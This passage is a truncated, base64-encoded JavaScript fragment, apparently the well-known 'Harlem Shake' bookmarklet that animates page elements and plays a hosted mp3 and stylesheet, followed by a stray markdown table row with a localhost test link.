5Q2xhc3NOYW1lKHMpO3ZhciB0PW5ldyBSZWdFeHAoIlxcYiIrcysiXFxiIik7Zm9yKHZhciBuPTA7bjxlLmxlbmd0aDspe2Vbbl0uY2xhc3NOYW1lPWVbbl0uY2xhc3NOYW1lLnJlcGxhY2UodCwiIil9fXZhciBlPTMwO3ZhciB0PTMwO3ZhciBuPTM1MDt2YXIgcj0zNTA7dmFyIGk9Ii8vczMuYW1hem9uYXdzLmNvbS9tb292d2ViLW1hcmtldGluZy9wbGF5Z3JvdW5kL2hhcmxlbS1zaGFrZS5tcDMiO3ZhciBzPSJtdy1oYXJsZW1fc2hha2VfbWUiO3ZhciBvPSJpbV9maXJzdCI7dmFyIHU9WyJpbV9kcnVuayIsImltX2Jha2VkIiwiaW1fdHJpcHBpbiIsImltX2Jsb3duIl07dmFyIGE9Im13LXN0cm9iZV9saWdodCI7dmFyIGY9Ii8vczMuYW1hem9uYXdzLmNvbS9tb292d2ViLW1hcmtldGluZy9wbGF5Z3JvdW5kL2hhcmxlbS1zaGFrZS1zdHlsZS5jc3MiO3ZhciBsPSJtd19hZGRlZF9jc3MiO3ZhciBiPWcoKTt2YXIgdz15KCk7dmFyIEM9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKTt2YXIgaz1udWxsO2Zvcih2YXIgTD0wO0w8Qy5sZW5ndGg7TCsrKXt2YXIgQT1DW0xdO2lmKHYoQSkpe2lmKEUoQSkpe2s9QTticmVha319fWlmKEE9PT1udWxsKXtjb25zb2xlLndhcm4oIkNvdWxkIG5vdCBmaW5kIGEgbm9kZSBvZiB0aGUgcmlnaHQgc2l6ZS4gUGxlYXNlIHRyeSBhIGRpZmZlcmVudCBwYWdlLiIpO3JldHVybn1jKCk7UygpO3ZhciBPPVtdO2Zvcih2YXIgTD0wO0w8Qy5sZW5ndGg7TCsrKXt2YXIgQT1DW0xdO2lmKHYoQSkpe08ucHVzaChBKX19fSkoKQ=='))) 2 | 3 | [test](http://localhost) 4 | --------------------------------------------------------------------------------